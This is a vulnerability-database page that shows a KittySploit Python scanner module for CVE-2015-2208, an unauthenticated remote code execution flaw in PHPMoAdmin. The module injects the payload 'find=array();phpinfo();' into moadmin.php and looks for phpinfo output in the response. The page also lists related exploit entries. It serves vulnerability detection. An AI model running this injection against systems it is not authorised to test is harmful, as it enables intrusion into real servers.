Lucene search
+L

PHPMoAdmin - find Parameter RCE Detection (CVE-2015-2208)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 5 Views

Unauthenticated RCE in PHPMoAdmin via find=array();phpinfo(); parameter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
PHPMoAdmin 1.1.2 Remote Code Execution Exploit
7 Mar 201500:00
–zdt
gitee
Gitee
Exploit for OS Command Injection in Gnu Bash
27 Jul 202504:29
–gitee
gitee
Gitee
Exploit for Path Traversal in Codiad
24 Nov 202016:49
–gitee
gitee
Gitee
Exploit for Path Traversal in Codiad
6 Sep 202515:20
–gitee
gitee
Gitee
Exploit for Path Traversal in Codiad
26 Sep 202021:18
–gitee
githubexploit
GithubExploit
exploits
5 Mar 201511:15
–githubexploit
circl
Circl
CVE-2015-2208
11 Jul 201702:04
–circl
cnvd
CNVD
phpMoAdmin Arbitrary Command Execution Vulnerability
19 Mar 201500:00
–cnvd
checkpoint_advisories
Check Point Advisories
MongoDB phpMoAdmin Unauthenticated Remote Code Execution (CVE-2015-2208)
4 Aug 201600:00
–checkpoint_advisories
cve
CVE
CVE-2015-2208
12 Mar 201514:00
–cve
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PHPMoAdmin find=array();phpinfo(); RCE (CVE-2015-2208)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'PHPMoAdmin - find Parameter RCE Detection (CVE-2015-2208)',
        'description': (
            'Detects CVE-2015-2208 by requesting moadmin.php with '
            'find=array();phpinfo(); and matching phpinfo markers.'
        ),
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': [
            'web', 'scanner', 'cve', 'cve2015', 'phpmoadmin', 'rce', 'unauth', 'vuln',
        ],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 4,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [{'capability': 'risk_signal', 'from_detail': ''}],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2015-2208',
        ],
        'cve': 'CVE-2015-2208',
    }

    def run(self):
        for base in ('/phpmoadmin', '/moadmin', '/wu-moadmin', ''):
            for file in ('/moadmin.php', '/wu-moadmin.php'):
                probe = self.http_request(method='GET', path=base + file, allow_redirects=False)
                if not probe or probe.status_code != 200:
                    continue
                path = (
                    f'{base}{file}?db=admin&action=listRows&collection=fdsa'
                    '&find=array();phpinfo();'
                )
                r = self.http_request(method='GET', path=path, allow_redirects=False)
                if not r:
                    continue
                body = r.text or ''
                if '>phpinfo()<' in body or ('PHP Version' in body and 'Configuration File' in body):
                    self.set_info(
                        severity='critical',
                        reason='PHPMoAdmin find RCE (CVE-2015-2208)',
                        path=base + file,
                    )
                    return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
EPSS0.60993
5